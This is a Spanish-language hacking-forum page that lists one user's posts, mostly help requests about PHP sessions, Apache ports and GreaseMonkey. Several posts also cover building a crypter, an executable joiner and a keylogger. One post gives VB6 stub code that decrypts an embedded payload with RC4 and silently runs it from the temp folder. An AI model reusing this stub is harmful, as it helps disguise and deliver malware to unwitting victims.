elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: [1] 2 3 4
1  Programación / Desarrollo Web / Re: [Ayuda] Problemas con sesiones. en: 21 Marzo 2013, 03:52 am
Bueno por algun extraño motivo he conseguido solucionar el problema. No he tenido que mirar el php.ini ni mucho menos, simplemente parece que el "XAMPP" viene con una version 5.4 de php y me obliga a utilizar la directiva session_register(). Para solucionarlo solo hice esto:

Código
  1. <?php
  3. session_register('usuario');
  4. $_SESSION['usuario']="Hola caracola";
  5. ?>

Por lo que he leido en la documentación de PHP es una funcion que va a desaparecer de PHP y aun asi en ese caso, estnado en un php 5.4 no deberia de tener problemas con declarar las variables de sesion sin esta funcion. Si alguien lo utiliza porque le pase lo mismo que sepa que asi tal cual la linea de session_register('usuario') da un error de "deprecated" o en via de desaparicion. Para solucionarlo basta con poner un "@" delante, es decir, @session_register('usuario').

Muchas gracias por la ayuda.
2  Programación / Desarrollo Web / Re: [Ayuda] Problemas con sesiones. en: 20 Marzo 2013, 22:05 pm
Desgraciadamente se programar en php y javascript pero no tengo ni idea de como mirar lo del php.ini. Si me indicas un poco el como estaria agradecido.
3  Programación / Desarrollo Web / [Ayuda] Problemas con sesiones. en: 20 Marzo 2013, 21:27 pm
MI problema es el siguiente. No he cambiado absolutamente ningun trozo de de codigo de mi web, pero sin saber porque, la sesion o mejor dicho las variables de sesion no se guardan entre paginas.

Estoy desesperado la verdad.

Todo empieza con el archivo de login, que comprueba con la base de datos el usuario y la contraseña y en el caso de que sea correcto entonces crea cuatro variables de sesion, con los datos de ese usuario y redirige a profesionales.php. En profesionales compruebo la existencia de la variable de sesion usuario y si existe imprimo el codigo html y sino redirijo de nuevo a login.php.

Os pongo los codigos.

Login.php

Código
  1. <?php
  3.  
  4. if(isset($_SESSION['user'])){
  5. 	header("Location: profesionales.php");
  6. }
  7.  
  8. if($_POST){
  9. 	extract($_POST);
  10. 	include_once("includes/class.sql.php");
  11. 	include_once("includes/config.inc.php");
  12. 	include_once("includes/funciones.php");
  13.  
  14. 	$user=limpiar($user);
  15. 	$password=sha1($pass);
  16.  
  17. 	$sql=new sql($ip, $usuario, $pass, $db);
  18.  
  19. 	$respuesta=$sql->consultar("select * from usuarios where usuario='$user';");
  20.  
  21. 	if(!empty($respuesta)){
  22. 		if($user==$respuesta[0]['usuario'] && $password==$respuesta[0]['password']){
  23. 			$_SESSION['id']=$respuesta[0]['id'];
  24. 			$_SESSION['user']=$user;
  25. 			$_SESSION['pass']=$password;
  26. 			$_SESSION['auth_level']=$respuesta[0]['lvl_auth'];
  27.                         // Si aqui imprimo las variables de session recien creadas se muestran correctamente.
  28. 			echo "<script>location.href='profesionales.php'</script>";
  29. 		}else{
  30. 			echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
  31. 			echo "<script>location.href='index.php?p=login'</script>";
  32. 		}
  33. 	}else{
  34. 		echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
  35. 		echo "<script>location.href='index.php?p=login'</script>";
  36. 	}
  37.  
  38.  
  39. }else{
  40. ?>
  41. <br />
  42. <div id="acceso">
  43. 	<form method="post" action="login.php">
  44. 		Usuario<br />
  45. 		<input type="text" name="user" /><br />
  46. 		Password<br />
  47. 		<input type="password" name="pass" /><br /><br />
  48. 		<p align="center"><input type="submit" value="Entrar" class="button"></p>
  49. 	</form>
  50. </div>
  51.  
  52. <?php
  53. }
  54. ?>

profesionales.php

Código
  1. <?php
  2.  
  3. 	session_start(); //En la primera linea declaro el session_start()
  4.  
  5. 	include_once("includes/config.inc.php");
  6. 	include_once("includes/class.sql.php");
  7. 	include_once("includes/funciones.php");
  8.  
  9. 	$sql=new sql($ip, $usuario, $pass, $db);
  10.  
  11. 	$respuesta=$sql->consultar("SELECT * FROM presupuestos_usuarios");
  12.  
  13. 	$sql->cerrar();
  14.  
  15. 	unset($sql);
  16.  
  17. 	if(!isset($_SESSION['user'])){
  18. 		header("Location: login.php"); //Aqui al no detectar la sesion me redirige al login de nuevo.
  19. 	}else{
  20. ?>
  21. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  22. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es">
  23. <head>
  24. 	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  25. 	<meta http-equiv="content-language" content="es_ES" />
  26. 	<meta charset="utf-8" /> <!-- Tipo de Codificación -->
  27. 	<title>Reformas y presupuestos</title>
  28. 	<style type="text/css">
  29. 		@import "css/profesionales.css";
  30. 	</style>
  31. </head>
  32. <body>
  33. 	<script src="js/jquery-1.8.3.js" type="text/javascript"></script>
  34. 	<script src="js/jquery.validate.js" type="text/javascript"></script>
  35. 	<script src="js/jquery.imagecube.js" type="text/javascript"></script>
  36. 	<script src="js/resizeLib.js" type="text/javascript" ></script>
  37. 	<script src="js/ajax.js" type="text/javascript" ></script>
  38. 	<script src="ckeditor/ckeditor.js" type="text/javascript" ></script>
  39. 	<script type="text/javascript" src="tiny_mce/tiny_mce.js"></script>
  40. 	<script>
  41.  
  42. 		jQuery(document).ready(function(){
  43. 			$(".filtro").bind('keypress', function(e) {
  44. 				if(e.keyCode==13){
  45. 					var n_parametros=0;
  46. 					var filtro="";
  47. 					if($("#comunidad").val() !=""){
  48. 						n_parametros++;
  49. 						if(n_parametros > 1){
  50. 							filtro +="&"+$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
  51. 						}else{
  52. 							filtro +=$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
  53. 						}
  54. 					}
  55.  
  56. 					if($("#localidad").val() !=""){
  57. 						n_parametros++;
  58. 						if(n_parametros > 1){
  59. 							filtro +="&"+$("#localidad")[0].id+"="+$("#localidad")[0].value;
  60. 						}else{
  61. 							filtro +=$("#localidad")[0].id+"="+$("#localidad")[0].value;
  62. 						}
  63. 					}
  64.  
  65. 					if($("#categoria").val() !=""){
  66. 						n_parametros++;
  67. 						if(n_parametros > 1){
  68. 							filtro +="&"+$("#categoria")[0].id+"="+$("#categoria")[0].value;
  69. 						}else{
  70. 							filtro +=$("#categoria")[0].id+"="+$("#categoria")[0].value;
  71. 						}
  72. 					}
  73.  
  74.  
  75. 					var respuesta = ajax("presupuestos_usuarios.php?"+filtro, "","GET");
  76. 					$("#principal").html(respuesta);
  77. 				}
  78. 			});
  79.  
  80. 			var respuesta_inicial=ajax("presupuestos_usuarios.php","","GET");
  81. 			$("#principal").html(respuesta_inicial);
  82. 		});
  83.  
  84. 		function ver(id_pre){
  85. 			var respuesta=ajax("ver_presupuesto.php?id="+id_pre,"","GET");
  86. 			$("#cuerpo").html(respuesta);
  87. 		}
  88.  
  89. 		function enviar(id_pre){
  90. 			var respuesta=ajax("dar_presupuesto.php?","id="+id_pre,"POST");
  91. 			$("#cuerpo").html(respuesta);
  92. 		}
  93.  
  94. 	</script>
  95. 	<div id="menu">
  96. 		<div id="logo">
  97. 			<a href="http://127.0.0.1/orocar/"><img src="images/logo.png" style="width: 100%; height: 100%" /></a>
  98. 		</div>
  99. 		<div id="menu-principal">
  100. 			<ul>
  101. 				<li type="disc" id="logout"><a href="index.php?p=logout">Cerrar Sesion</a></li>
  102. 				<li type="disc" id="presupuestos"><a href="profesionales.php">Presupuestos de Usuarios</a></li>
  103. 				<li type="disc" id="perfil"><a href="index.php?p=inicio">Inicio</a></li>
  104. 			</ul>
  105. 		</div>
  106. 		<div class="limpiar"></div>
  107. 	</div>
  108. 	<div id="cabecera">
  109. 		<div id="cabecera-content">
  110. 			<h1 id="titulo_pagina">Presupuestos recibidos</h1>
  111. 		</div>
  112. 	</div>
  113. 	<div id="cuerpo">
  114. 		<h2>Presupuestos solicitados por los usuarios</h2><br />
  115. 		<div style="width: 33.3%; float: left;">
  116. 			<label>Comunidad Autonoma</label><br /><br />
  117. 			<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="comunidad">
  118. 		</div>
  119. 		<div style="width: 33.3%; float: left; ">
  120. 			<label>Categoria</label><br /><br />
  121. 			<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="categoria">
  122. 		</div>
  123. 		<div style="width: 33.3%; float: left; ">
  124. 			<label>Localidad</label><br /><br />
  125. 			<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="localidad">
  126. 		</div>
  127. 		<div class="limpiar"></div>
  128. 		<div id="principal">
  129.  
  130. 		</div>
  131. 	</div>
  132. 	<div id="pie">
  133.  
  134. 	</div>
  135. </body>
  136. </html>
  137.  
  138. <?php
  139. 	}
  140. ?>
4  Programación / Programación Visual Basic / Re: [Duda] Generar archivos ejecutables a partir de los bytes originales en: 29 Septiembre 2011, 04:38 am
Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.
5  Programación / Programación Visual Basic / Re: [Duda] Generar archivos ejecutables a partir de los bytes originales en: 28 Septiembre 2011, 17:29 pm
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range.

A continuación pongo el code de mi stub.

Código
  1. Option Explicit
  2. Sub Main()
  3. Dim Yo As String, Datos As String, sData() As String
  4. Yo = App.Path & "\" & App.EXEName & ".exe"
  5.  
  6. Open Yo For Binary As #1
  7.     Datos = Space(LOF(1))
  8.     Get #1, , Datos
  9. Close #1
  10.  
  11. sData() = Split(Datos, "%%##%%")
  12.  
  13. sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error
  14.  
  15. Open Environ("TEMP") & "\tmp.exe" For Binary As #1
  16.     Put #1, , sData(1)
  17. Close #1
  18.  
  19. Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide
  20.  
  21. End Sub
  22. Private Function RC4(ByVal expresion As String, ByVal password As String) As String
  23.     Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
  24.     Dim key() As Byte, byteArray() As Byte
  25.     Dim i2 As Long
  26.  
  27.     key() = StrConv(password, vbFromUnicode)
  28.     For i = 0 To 255
  29.         s(i) = i
  30.         k(i) = key(i Mod Len(password))
  31.     Next i
  32.     For i = 0 To 255
  33.         j = (j + s(i) + k(i)) Mod 256
  34.         tmp = s(i)
  35.         s(i) = s(j)
  36.         s(j) = tmp
  37.     Next i
  38.     byteArray() = StrConv(expresion, vbFromUnicode)
  39.     i = 0
  40.     j = 0
  41.     For i2 = 0 To Len(expresion) - 1
  42.         i = (i + 1) Mod 256
  43.         j = (j + s(i)) Mod 256
  44.         tmp = s(i)
  45.         s(i) = s(j)
  46.         s(j) = tmp
  47.         t = (s(i) + s(j)) Mod 256
  48.         byteArray(i2) = byteArray(i2) Xor s(t)
  49.     Next i2
  50.     RC4 = StrConv(byteArray, vbUnicode)
  51. End Function
  52.  
  53.  

Gracias por adelantado
6  Programación / Programación Visual Basic / [Duda] Generar archivos ejecutables a partir de los bytes originales en: 27 Septiembre 2011, 07:15 am
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código
  1. Private Sub Command1_Click()
  2.     With pp
  3.         .DialogTitle = "Elige el primer archivo"
  4.         .Filter = "Ejecutables|*.exe"
  5.         .ShowOpen
  6.     End With
  7. arcUno.Text = pp.FileName
  8. End Sub
  9.  
  10. Private Sub Command2_Click()
  11.     With pp
  12.         .DialogTitle = "Elige el segundo archivo"
  13.         .Filter = "Todo tipo de archivos|*"
  14.         .ShowOpen
  15.     End With
  16. arcDos.Text = pp.FileName
  17. End Sub
  18.  
  19. Private Sub Command3_Click()
  20. Dim Data() As Byte
  21. Dim DataLon As Long
  22. Open arcUno For Binary Lock Read As 1
  23. Open arcDos For Binary Lock Read As 2
  24. Open byteRes For Binary Access Write As 3
  25. DataLon = FileLen(arcUno) + Len(arcDos)
  26. ReDim Data(DataLon) As Byte
  27. Get #1, , Data
  28. Get #2, , Data
  29. Put #3, , Hex(Data(DataLon))
  30. Close
  31. End Sub
7  Programación / Desarrollo Web / Re: Mi webserver no es accesible a Internet en: 1 Julio 2011, 16:52 pm
Bueno lo he hehco tantas veces que ha perdido su sentido y espero poder ayudarte en eso.

El servidor de apache funciona por defecto en el puerto 80, es decir recibe las conexiones por este puerto y atiende a los clientes. Tu problema segun dices es tu ISP, pero como bien indicaste cambiaste al puerto 8080 y no hubo problema.

Tienes que ir al archivo de configuración de apache y modificar el puerto por defecto.
Este archivo es el apache2.conf (en linux esta en /etc/apache2) en el caso de windows supongo que cambia.
Solo tienes que abrir este archivo e ir a la directiva "Listen 80", cambias 80 por el puerto por el que quieras tener tu servidor web y listo. (Recuerda que los primeros 1024 puertos son reservados)

Aunque tambien veo que tienes un problema, probablemente tengas router, es decir tendras una ip dinamica que cambia cada cierto tiempo. Si quisieras que la ip de router fuera fija tendrias que pagar a tu ISP(telefonica).

Para evitar tener que pagar a tu compañia puedes utilizar un servicio llamado no-ip. Este servicio hace que tu ip en internet se asocie a un nombre. Te descargas un programa entras con tu cuenta de la pagina web y listo, solo dales el nombre a tus amigos y mientras tu ordenador este encendido podran ver tu pagina web.

Espero haberte ayudado, me podria haber explicado mejor pero me podria extender muhco con la teoria de apache xD
8  Programación / Desarrollo Web / Ayuda con GreaseMonkey en: 1 Julio 2011, 16:33 pm
Supongo que todos conoceis este complemento para firefox que permite cargar un script sobre una pagina web ya creada.

Bien mi problema es que cuando un script falla, soy incapaz de saber donde ha falaldo y porque asi que me veo recorriendo el codigo y perdiendo un mnton de tiempo en ello.

Mi pregunta es saber si alguien conoce algun programa que muestre a poder ser el error en el script y la linea del error me facilitaria el trabajo enormemente.

Saludos
9  Programación / Programación Visual Basic / Re: Ayuda con mi Keylogger en: 23 Febrero 2011, 20:48 pm
Bueno despues de leer un poco, definitivamente los hooks me quedan bastante grandes xDDDDDDD.

Es decir, el manual esta muy bien pero hay muchas clases y constantes de la api SetWindowsHookEx y SetWindowsHook que no hay explicadas. Me veo incapaz de entender el codigo asi que lo siguire intentando.

Salu2
10  Programación / Programación Visual Basic / Re: Ayuda con mi Keylogger en: 23 Febrero 2011, 19:59 pm
Muchas gracias justo ahora estaba investigando sobre "hooks" a ver si me va bien con ellos. Salu2
Páginas: [1] 2 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines